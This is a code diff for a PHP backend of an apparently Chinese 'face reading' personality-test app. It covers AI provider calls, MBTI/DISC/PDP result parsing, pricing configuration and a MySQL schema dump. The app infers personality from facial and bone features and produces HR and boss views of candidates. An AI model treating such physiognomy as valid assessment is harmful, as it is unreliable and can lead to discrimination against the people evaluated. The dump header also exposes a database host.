'/')); + if (!$base) { + $base = 'https://api.coze.cn'; + } + $chatUrl = rtrim($base, '/') . '/v3/chat?conversation_id=' . urlencode((string) $conversationId); + + $ctx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => $headers, + 'content' => json_encode($body, JSON_UNESCAPED_UNICODE), + 'timeout' => 45, + ], + ]); + + $response = @file_get_contents($chatUrl, false, $ctx); + if ($response === false) { + throw new \RuntimeException('Coze 发送消息失败'); + } + + $data = json_decode($response, true); + $chatId = $data['data']['id'] ?? ($data['data']['chat_id'] ?? null); + if (empty($chatId)) { + throw new \RuntimeException('Coze chat_id 获取失败'); + } + + // 3)轮询消息列表,直到拿到 assistant 回复或超时(等价于 listConversationMessage) + $msgUrl = rtrim($base, '/') . '/v3/chat/message/list?conversation_id=' + . urlencode((string) $conversationId) . '&chat_id=' . urlencode((string) $chatId); + + $text = ''; + for ($i = 0; $i < 8; $i++) { // 最多轮询 ~4 秒 + $msgCtx = stream_context_create([ + 'http' => [ + 'method' => 'GET', + 'header' => $headers, + 'timeout' => 30, + ], + ]); + $msgResp = @file_get_contents($msgUrl, false, $msgCtx); + if ($msgResp === false) { + usleep(500000); + continue; + } + $msgData = json_decode($msgResp, true); + if (!empty($msgData['data'])) { + $messages = $msgData['data']['messages'] ?? ($msgData['data'] ?? []); + if (is_array($messages)) { + foreach ($messages as $msg) { + if (($msg['role'] ?? '') === 'assistant' && !empty($msg['content'])) { + $text = is_string($msg['content']) ? $msg['content'] : ($msg['content'][0]['text'] ?? ''); + break 2; + } + } + } + } + // 未拿到回复,稍等再试 + usleep(500000); + } + + return $this->parseResultText($text); + } + + /** + * Anthropic 调用:暂时走纯文本 Messages 接口 + */ + private function callAnthropic(string $endpoint, string $apiKey, string $model, string $prompt): array + { + $body = [ + 'model' => $model, + 'max_tokens' => 1024, + 'messages' => [ + [ + 'role' => 'user', + 'content' => [ + ['type' => 'text', 'text' => $prompt], + ], + ], + ], + ]; + + $url = rtrim($endpoint, '/') . '/messages'; + $ctx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => + "Content-Type: application/json\r\n" + . "x-api-key: " . $apiKey . "\r\n" + . "anthropic-version: 2023-06-01\r\n", + 'content' => json_encode($body, JSON_UNESCAPED_UNICODE), + 'timeout' => 45, + ], + ]); + + $response = @file_get_contents($url, false, $ctx); + if ($response === false) { + throw new \RuntimeException('Anthropic 接口无响应'); + } + + $data = json_decode($response, true); + $text = ''; + if (!empty($data['content']) && is_array($data['content'])) { + foreach ($data['content'] as $block) { + if (($block['type'] ?? '') === 'text' && !empty($block['text'])) { + $text .= $block['text']; + } + } + } + + return $this->parseResultText($text); + } + + /** + * 从 LLM 文本中提取 JSON 并规范化为统一结构 + */ + private function parseResultText(string $text): array + { + if (empty($text)) { + throw new \RuntimeException('AI 返回内容为空,无法解析结果'); + } + + $text = trim($text); + if (preg_match('/\{[\s\S]*\}/', $text, $m)) { + $parsed = json_decode($m[0], true); + if (is_array($parsed)) { + // AI 明确表示未检测到人脸 + if (isset($parsed['hasFace']) && $parsed['hasFace'] === false) { + return ['_noFace' => true]; + } + return $this->normalizeResult($parsed); + } + } + + throw new \RuntimeException('AI 返回内容格式无法解析'); + } + + private function normalizeResult(array $p): array + { + $mbti = $p['mbti'] ?? ''; + + // faceAnalysis / boneAnalysis 统一作为字符串处理 + $faceAnalysis = isset($p['faceAnalysis']) ? (is_string($p['faceAnalysis']) ? $p['faceAnalysis'] : json_encode($p['faceAnalysis'], JSON_UNESCAPED_UNICODE)) : null; + $boneAnalysis = isset($p['boneAnalysis']) ? (is_string($p['boneAnalysis']) ? $p['boneAnalysis'] : json_encode($p['boneAnalysis'], JSON_UNESCAPED_UNICODE)) : null; + + // advantages 兼容数组与字符串 + $advantages = []; + if (!empty($p['advantages'])) { + if (is_array($p['advantages'])) { + $advantages = $p['advantages']; + } elseif (is_string($p['advantages'])) { + $advantages = array_filter(array_map('trim', explode('、', $p['advantages']))); + $advantages = array_values($advantages); + } + } + + // gallupTop3 兼容数组与字符串 + $gallupTop3 = []; + if (!empty($p['gallupTop3'])) { + if (is_array($p['gallupTop3'])) { + $gallupTop3 = $p['gallupTop3']; + } elseif (is_string($p['gallupTop3'])) { + $gallupTop3 = array_filter(array_map('trim', explode('、', $p['gallupTop3']))); + $gallupTop3 = array_values($gallupTop3); + } + } + + // 清洗 pdp/pdpAux:AI 有时返回 "主性格:猫头鹰" 形式,去掉冒号前缀 + $cleanPdp = function (string $v): string { + // 去掉 "主性格:" "辅性格:" 等前缀 + $v = preg_replace('/^[^::]*[::]\s*/', '', trim($v)); + return $v; + }; + $pdpPrimary = $cleanPdp((string) ($p['pdp'] ?? '')); + $pdpSecondary = $cleanPdp((string) ($p['pdpAux'] ?? '')); + + // DISC 只取首个大写字母 + $discPrimary = strtoupper(preg_replace('/[^DISC]/', '', strtoupper($p['disc'] ?? '')))[0] ?? ''; + $discSecondary = isset($p['discAux']) ? (strtoupper(preg_replace('/[^DISC]/', '', strtoupper($p['discAux'] ?? '')))[0] ?? '') : ''; + + $result = [ + 'mbti' => [ + 'type' => $mbti, + 'title' => $this->mbtiTitle($mbti), + ], + 'pdp' => [ + 'primary' => $pdpPrimary, + 'secondary' => $pdpSecondary, + ], + 'disc' => [ + 'primary' => $discPrimary, + 'secondary' => $discSecondary, + ], + 'advantages' => $advantages, + 'overview' => $p['overview'] ?? '', + 'faceAnalysis' => $faceAnalysis, + 'boneAnalysis' => $boneAnalysis, + 'personalitySummary' => $p['personalitySummary'] ?? '', + 'relationship' => $p['relationship'] ?? '', + 'gallupTop3' => $gallupTop3, + ]; + + // 企业版额外字段:AI 返回则透传,未返回则不输出 + if (!empty($p['portrait'])) { + $result['portrait'] = $p['portrait']; + } + if (!empty($p['hrView'])) { + $result['hrView'] = $p['hrView']; + } + if (!empty($p['bossView'])) { + $result['bossView'] = $p['bossView']; + } + if (isset($p['resumeHighlights']) && $p['resumeHighlights'] !== '') { + $result['resumeHighlights'] = $p['resumeHighlights']; + } + + return $result; + } + + private function mbtiTitle(string $type): string + { + $titles = [ + 'INTJ' => '战略家', 'INTP' => '逻辑学家', 'ENTJ' => '指挥官', 'ENTP' => '辩论家', + 'INFJ' => '提倡者', 'INFP' => '调停者', 'ENFJ' => '主人公', 'ENFP' => '竞选者', + 'ISTJ' => '物流师', 'ISFJ' => '守卫者', 'ESTJ' => '总经理', 'ESFJ' => '执政官', + 'ISTP' => '鉴赏家', 'ISFP' => '探险家', 'ESTP' => '企业家', 'ESFP' => '表演者', + ]; + return $titles[strtoupper($type)] ?? '战略家'; + } + + /** + * 前置人脸检测:将全部图片一次性发给 AI,判断是否每张都包含人脸。 + * - max_tokens=20,只需 YES/NO,极低费用 + * - 任何网络/解析异常均视为"有人脸"(fail-safe),避免误拦截 + * - Coze 调用链路复杂,跳过前置检测,依赖主分析中的 hasFace 字段 + * + * @param array $photoUrls 上传的图片 URL 数组(最多3张) + * @return bool true=有人脸可继续分析,false=无人脸需拒绝 + */ + private function quickFaceCheck(array $photoUrls, $provider, string $apiKey): bool + { + $providerId = strtolower($provider->providerId ?? ''); + + // Coze 需要创建会话,成本过高,跳过前置检测 + if ($providerId === 'coze') { + return true; + } + + $endpoint = !empty($provider->apiEndpoint) ? rtrim($provider->apiEndpoint, '/') : null; + $model = $provider->model ?? 'gpt-4o-mini'; + + if (empty($endpoint)) { + switch ($providerId) { + case 'openai': $endpoint = 'https://api.openai.com/v1'; break; + case 'groq': $endpoint = 'https://api.groq.com/openai/v1'; break; + case 'deepseek': $endpoint = 'https://api.deepseek.com/v1'; break; + case 'moonshot': $endpoint = 'https://api.moonshot.ai/v1'; break; + case 'qwen': $endpoint = 'https://dashscope.aliyuncs.com/compatible-mode/v1'; break; + case 'anthropic': $endpoint = 'https://api.anthropic.com/v1'; break; + case 'zhipu': $endpoint = 'https://api.z.ai/api/paas/v4'; break; + case 'zhizengzeng': $endpoint = 'https://api.zhizengzeng.com/v1'; break; + default: return true; // 未知服务商,放行 + } + } + + $count = count($photoUrls); + $prompt = "以下 {$count} 张图片中是否每张都包含清晰可见的人脸?只回答 YES 或 NO,不要其他文字。"; + + try { + if ($providerId === 'anthropic') { + $text = $this->quickCallAnthropic($endpoint, $apiKey, $model, $prompt, $photoUrls); + } else { + $text = $this->quickCallOpenAICompatible($endpoint, $apiKey, $model, $prompt, $photoUrls, $providerId); + } + + if (empty($text)) { + return true; // 无法解析时放行 + } + + $upper = strtoupper(trim($text)); + // 明确回答 NO 才拦截;YES / 含 YES 的句子 / 无法判断 → 放行 + return strpos($upper, 'NO') === false || strpos($upper, 'YES') !== false; + } catch (\Throwable $e) { + return true; // 异常时放行,不影响正常业务 + } + } + + /** 用于前置检测的 OpenAI 兼容接口(max_tokens=20,支持多图) */ + private function quickCallOpenAICompatible( + string $endpoint, string $apiKey, string $model, + string $prompt, array $photoUrls, string $providerId + ): string { + $content = [['type' => 'text', 'text' => $prompt]]; + foreach (array_slice($photoUrls, 0, 3) as $url) { + $content[] = ['type' => 'image_url', 'image_url' => ['url' => $url]]; + } + + $body = [ + 'model' => $model, + 'messages' => [['role' => 'user', 'content' => $content]], + ]; + + if (strpos($endpoint, 'api.zhizengzeng.com') !== false) { + $body['max_completion_tokens'] = 20; + } else { + $body['max_tokens'] = 20; + } + + $url = rtrim($endpoint, '/') . '/chat/completions'; + $headers = setHeader([], $apiKey, 'json'); + $response = requestCurl($url, $body, 'POST', $headers, 'json'); + + if (empty($response)) { + return ''; + } + + $data = json_decode($response, true); + return $data['choices'][0]['message']['content'] ?? ''; + } + + /** 用于前置检测的 Anthropic Messages 接口(max_tokens=20,支持多图) */ + private function quickCallAnthropic( + string $endpoint, string $apiKey, string $model, + string $prompt, array $photoUrls + ): string { + $content = [['type' => 'text', 'text' => $prompt]]; + foreach (array_slice($photoUrls, 0, 3) as $url) { + $content[] = ['type' => 'image', 'source' => ['type' => 'url', 'url' => $url]]; + } + + $body = [ + 'model' => $model, + 'max_tokens' => 20, + 'messages' => [['role' => 'user', 'content' => $content]], + ]; + + $url = rtrim($endpoint, '/') . '/messages'; + $ctx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => + "Content-Type: application/json\r\n" + . "x-api-key: {$apiKey}\r\n" + . "anthropic-version: 2023-06-01\r\n", + 'content' => json_encode($body, JSON_UNESCAPED_UNICODE), + 'timeout' => 15, + ], + ]); + + $response = @file_get_contents($url, false, $ctx); + if ($response === false) { + return ''; + } + + $data = json_decode($response, true); + $text = ''; + foreach (($data['content'] ?? []) as $block) { + if (($block['type'] ?? '') === 'text') { + $text .= $block['text']; + } + } + return $text; + } + + /** + * 根据定价配置返回该测试类型是否需要付费才显示完整报告 + * 直接读取 mbti_pricing_config 的个人版配置:价格 > 0 视为需要付费 + */ + private function getRequiresPaymentByTestType(string $testType): int + { + $amountFen = $this->getStandardAmountByTestType($testType); + return $amountFen > 0 ? 1 : 0; + } + + /** + * 获取某测试类型当前配置的标准单价(单位:分) + * - $enterpriseId 非空 → 企业测试,走 admin_enterprise 定价 + * - $enterpriseId 为 null → 个人测试,走 admin_personal + $pricingEnterpriseId 定价 + * - $pricingEnterpriseId 非空:用户绑定企业,优先读该企业管理员配置的个人版价 + * - $pricingEnterpriseId 为 null:未绑定企业,读超管全局个人版价 + */ + private function getStandardAmountByTestType(string $testType, ?int $enterpriseId = null, ?int $pricingEnterpriseId = null): int + { + $pricingConfig = $enterpriseId !== null && $enterpriseId > 0 + ? PricingConfigModel::getByTypeAndEnterprise('enterprise', $enterpriseId) + : PricingConfigModel::getByTypeAndEnterprise('personal', $pricingEnterpriseId); + if (!$pricingConfig || empty($pricingConfig->config)) { + return 0; + } + + $rawConfig = $pricingConfig->config; + $pricing = is_array($rawConfig) ? $rawConfig : (array) $rawConfig; + + $keyMap = ['team_analysis' => 'teamAnalysis']; + $key = $keyMap[$testType] ?? $testType; + if (!isset($pricing[$key])) { + return 0; + } + + $unitYuan = (float) $pricing[$key]; + return $unitYuan > 0 ? (int) round($unitYuan * 100) : 0; + } +} diff --git a/api/app/controller/api/AppConfig.php b/api/app/controller/api/AppConfig.php new file mode 100644 index 0000000..d4cdd0d --- /dev/null +++ b/api/app/controller/api/AppConfig.php @@ -0,0 +1,201 @@ +request->param('scope', '') ?? ''); + + $user = $this->request->user ?? null; + if (!$user) { + $token = JwtService::getTokenFromRequest($this->request); + if ($token) { + $payload = JwtService::verifyToken($token); + if ($payload) { + $user = [ + 'source' => $payload['source'] ?? '', + 'user_id' => $payload['user_id'] ?? $payload['userId'] ?? null, + 'userId' => $payload['user_id'] ?? $payload['userId'] ?? null, + ]; + } + } + } + if ($scope !== 'personal' && $user && ($user['source'] ?? '') === 'wechat') { + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId > 0) { + $row = Db::name('wechat_users')->where('id', $userId)->field('enterpriseId')->find(); + if (!empty($row['enterpriseId'])) { + $enterpriseId = (int) $row['enterpriseId']; + $pricingType = 'enterprise'; + } + } + } + + $config = PricingConfigModel::getByTypeAndEnterprise($pricingType, $enterpriseId); + if ($config && !empty($config->config)) { + // PricingConfig 模型已对 config 做 JSON 转换,这里直接当数组/对象用即可 + $rawConfig = $config->config; + $pricing = is_array($rawConfig) ? $rawConfig : (array) $rawConfig; + } + + // 超管 AI 配置:第一个 enabled=1、visible=1(显示)且 apiKey 非空;隐藏的服务商不参与选用 + $firstProvider = AiProviderModel::where('enabled', 1) + ->whereRaw('(visible IS NULL OR visible = 1)') + ->whereRaw('(apiKey IS NOT NULL AND LENGTH(TRIM(apiKey)) > 0)') + ->order('id', 'asc') + ->find(); + + $aiProviderId = null; + $aiProviderName = null; + if ($firstProvider) { + $aiProviderId = $firstProvider->providerId; + $aiProviderName = $firstProvider->name ?? $firstProvider->providerId; + } + + // 报告付费开关:完全根据定价配置判断(价格 > 0 视为需要付费) + $reportRequiresPayment = ['face' => 0, 'mbti' => 0, 'disc' => 0, 'pdp' => 0]; + foreach (['face', 'mbti', 'disc', 'pdp'] as $k) { + $key = $k === 'team_analysis' ? 'teamAnalysis' : $k; + if (isset($pricing[$key]) && (float) $pricing[$key] > 0) { + $reportRequiresPayment[$k] = 1; + } + } + + // 站点信息(网站名称、小程序名称):供小程序导航栏等展示 + $siteName = ''; + $miniprogramName = ''; + $siteInfo = Db::name('system_config')->where('key', 'site_info')->find(); + if ($siteInfo && !empty($siteInfo['value'])) { + $val = is_string($siteInfo['value']) ? json_decode($siteInfo['value'], true) : $siteInfo['value']; + if (is_array($val)) { + $siteName = (string) ($val['siteName'] ?? ''); + $miniprogramName = (string) ($val['miniprogramName'] ?? ''); + } + } + if ($siteName === '' || $miniprogramName === '') { + $system = Db::name('system_config')->where('key', 'system')->find(); + if ($system && !empty($system['value'])) { + $val = is_string($system['value']) ? json_decode($system['value'], true) : $system['value']; + if (is_array($val)) { + if ($siteName === '') $siteName = (string) ($val['siteName'] ?? ''); + if ($miniprogramName === '') $miniprogramName = (string) ($val['miniprogramName'] ?? $val['siteName'] ?? ''); + } + } + } + $siteTitle = $miniprogramName !== '' ? $miniprogramName : ($siteName !== '' ? $siteName : '神仙团队AI性格测试'); + + // 小程序文案配置(分析中提示、按钮、报告标题等) + $textConfig = [ + 'analyzingTitle' => '正在分析中', + 'startButtonText' => '开始面相测试', + 'startButtonEnterprise' => '开始面部测试', + 'reportTitle' => '分析报告', + 'aiAnalysisText' => '智能分析' + ]; + // 先读全局 text_config(enterprise_id=0) + $tcRow = Db::name('system_config')->where('key', 'text_config')->where('enterprise_id', 0)->find(); + if ($tcRow && !empty($tcRow['value'])) { + $tcVal = is_string($tcRow['value']) ? json_decode($tcRow['value'], true) : $tcRow['value']; + if (is_array($tcVal)) { + $textConfig = array_merge($textConfig, array_intersect_key($tcVal, $textConfig)); + } + } + // 企业专属文案 + 小程序名称 覆盖全局(enterprise_id={eid}) + if ($enterpriseId > 0) { + $eidTc = Db::name('system_config')->where('key', 'text_config')->where('enterprise_id', $enterpriseId)->find(); + if ($eidTc && !empty($eidTc['value'])) { + $eidVal = is_string($eidTc['value']) ? json_decode($eidTc['value'], true) : $eidTc['value']; + if (is_array($eidVal)) { + $textConfig = array_merge($textConfig, array_intersect_key($eidVal, $textConfig)); + if (!empty($eidVal['miniprogramName'])) { + $miniprogramName = (string) $eidVal['miniprogramName']; + $siteTitle = $miniprogramName; + } + } + } + } + + return success([ + 'pricingType' => $pricingType, + 'pricing' => $pricing, + 'aiProviderId' => $aiProviderId, + 'aiProviderName' => $aiProviderName, + 'reportRequiresPayment' => $reportRequiresPayment, + 'siteName' => $siteName, + 'miniprogramName' => $miniprogramName, + 'siteTitle' => $siteTitle, + 'textConfig' => $textConfig, + ]); + } + + /** + * GET api/config/deep-pricing?scope=personal|enterprise + * 深度服务价格(开通会员页):个人版与企业版分别返回可配置的类目列表,支持后台新增类目 + */ + public function deepPricing() + { + $scope = (string) ($this->request->param('scope', 'personal') ?? 'personal'); + $type = $scope === 'enterprise' ? 'deep_enterprise' : 'deep_personal'; + + $config = PricingConfigModel::where('type', $type)->whereNull('enterpriseId')->find(); + $categories = []; + if ($config && !empty($config->config)) { + $raw = $config->config; + $data = is_array($raw) ? $raw : (array) $raw; + $categories = isset($data['categories']) && is_array($data['categories']) ? $data['categories'] : []; + + // 兼容旧数据:补全可能缺失的字段,确保前端始终能读到完整结构 + foreach ($categories as &$cat) { + // features:旧数据只存 featuresText,动态拆成数组 + if (!isset($cat['features']) || !is_array($cat['features'])) { + if (!empty($cat['featuresText']) && is_string($cat['featuresText'])) { + $lines = preg_split('/\r?\n/', $cat['featuresText']); + $cat['features'] = array_values(array_filter(array_map('trim', $lines), static function ($s) { + return $s !== ''; + })); + } else { + $cat['features'] = []; + } + } + // serviceWechat(客服微信):展示给用户的微信号 + if (!isset($cat['serviceWechat'])) { + $cat['serviceWechat'] = ''; + } + // consultWechat(存客宝KEY):旧类目可能没有该字段,补空字符串 + if (!isset($cat['consultWechat'])) { + $cat['consultWechat'] = ''; + } + // promptText:同样补全 + if (!isset($cat['promptText'])) { + $cat['promptText'] = ''; + } + // successMessage:成功提示词,补全 + if (!isset($cat['successMessage'])) { + $cat['successMessage'] = ''; + } + } + unset($cat); + } + + return success(['scope' => $scope, 'categories' => $categories]); + } +} diff --git a/api/composer.json b/api/composer.json new file mode 100644 index 0000000..85bb409 --- /dev/null +++ b/api/composer.json @@ -0,0 +1,35 @@ +{ + "name": "news/backend", + "description": "新闻资讯网站后端API服务", + "type": "project", + "keywords": [ + "thinkphp", + "api", + "news" + ], + "homepage": "https://github.com/topthink/framework", + "license": "Apache-2.0", + "require": { + "php": ">=8.0.0", + "aliyuncs/oss-sdk-php": "^2.7", + "topthink/framework": "^8.0", + "topthink/think-orm": "^3.0", + "topthink/think-view": "^1.0" + }, + "require-dev": { + "symfony/var-dumper": "^5.1", + "topthink/think-trace": "^1.0" + }, + "autoload": { + "psr-4": { + "app\\": "app/" + } + }, + "config": { + "preferred-install": "composer", + "optimize-autoloader": true, + "sort-packages": true + }, + "minimum-stability": "dev", + "prefer-stable": true +} diff --git a/api/mbti.sql b/api/mbti.sql new file mode 100644 index 0000000..28c34df --- /dev/null +++ b/api/mbti.sql @@ -0,0 +1,492 @@ +/* + Navicat Premium Data Transfer + + Source Server : kr_存客宝 + Source Server Type : MySQL + Source Server Version : 50736 + Source Host : 56b4c23f6853c.gz.cdb.myqcloud.com:14413 + Source Schema : mbti + + Target Server Type : MySQL + Target Server Version : 50736 + File Encoding : 65001 + + Date: 12/03/2026 17:13:09 +*/ + +SET NAMES utf8mb4; +SET FOREIGN_KEY_CHECKS = 0; + +-- ---------------------------- +-- Table structure for mbti_activities +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_activities`; +CREATE TABLE `mbti_activities` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '活动ID', + `userId` int(11) NULL DEFAULT NULL COMMENT '用户ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '活动类型', + `action` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '操作描述', + `relatedId` int(11) NULL DEFAULT NULL COMMENT '关联ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '活动记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_ai_providers +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_ai_providers`; +CREATE TABLE `mbti_ai_providers` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `providerId` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商ID:openai/anthropic/deepseek等', + `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商名称', + `enabled` tinyint(1) NULL DEFAULT 0 COMMENT '是否启用:1启用,0禁用', + `visible` tinyint(1) NOT NULL DEFAULT 1 COMMENT '是否在列表中显示:1显示,0隐藏', + `apiKey` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API密钥(加密存储)', + `apiEndpoint` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API端点', + `model` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '默认模型', + `organizationId` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'Organization ID(OpenAI专用)', + `maxTokens` int(11) NULL DEFAULT 4096 COMMENT '最大Token数', + `balanceAlertEnabled` tinyint(1) NULL DEFAULT 0 COMMENT '余额告警是否启用', + `balanceAlertThreshold` decimal(10, 2) NULL DEFAULT 10.00 COMMENT '余额告警阈值', + `notes` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '备注', + `docUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '文档/API Key申请链接', + `isFree` tinyint(1) NULL DEFAULT 0 COMMENT '是否免费额度服务商', + `supportsBalance` tinyint(1) NULL DEFAULT 1 COMMENT '是否支持余额查询', + `lastBalance` decimal(10, 2) NULL DEFAULT NULL COMMENT '最后查询的余额', + `lastBalanceCurrency` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '余额币种:CNY/USD', + `lastBalanceCheckedAt` int(11) NULL DEFAULT NULL COMMENT '最后余额查询时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '软删除时间戳,有值表示已删除', + `extraConfig` json NULL COMMENT '其他配置参数(JSON),方便扩展接收其他参数', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_providerId`(`providerId`) USING BTREE, + INDEX `idx_enabled`(`enabled`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 10 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = 'AI服务商配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_backup_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_backup_records`; +CREATE TABLE `mbti_backup_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `filename` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '备份文件名', + `filepath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '本地文件路径', + `fileSize` bigint(20) NULL DEFAULT 0 COMMENT '文件大小(字节)', + `ossUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS访问URL', + `ossPath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS对象路径', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'success' COMMENT '状态:success成功/failed失败', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_filename`(`filename`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '数据库备份记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_commission_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_commission_records`; +CREATE TABLE `mbti_commission_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `agentId` int(11) NOT NULL COMMENT '分销商ID', + `orderId` int(11) NULL DEFAULT NULL COMMENT '订单ID', + `commissionRate` decimal(5, 2) NULL DEFAULT 0.00 COMMENT '佣金比例(%)', + `commissionAmount` decimal(10, 2) NOT NULL COMMENT '佣金金额', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled', + `paidAt` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `inviterId` int(11) NULL DEFAULT NULL COMMENT '推荐人ID', + `inviteeId` int(11) NULL DEFAULT NULL COMMENT '付款用户ID', + `bindingId` int(11) NULL DEFAULT NULL COMMENT '绑定记录ID', + `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT '订单金额(分)', + `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT '佣金金额(分)', + `frozenAt` int(11) NULL DEFAULT NULL COMMENT '冻结时间', + `unfrozenAt` int(11) NULL DEFAULT NULL COMMENT '解冻时间', + `testResultId` int(11) NULL DEFAULT NULL, + `commissionSource` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'payment', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_test_commission`(`testResultId`, `commissionSource`) USING BTREE, + INDEX `idx_agentId`(`agentId`) USING BTREE, + INDEX `idx_orderId`(`orderId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_scope`(`scope`) USING BTREE, + INDEX `idx_dist_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_inviterId`(`inviterId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 46 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '佣金记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_distribution_agents +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_agents`; +CREATE TABLE `mbti_distribution_agents` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '分销商ID', + `userId` int(11) NOT NULL COMMENT '用户ID', + `agentName` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '分销商名称', + `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', + `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', + `totalOrders` int(11) NULL DEFAULT 0 COMMENT '总订单数', + `totalCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '总佣金', + `availableCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '可提现佣金', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销商表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_distribution_bindings +-- 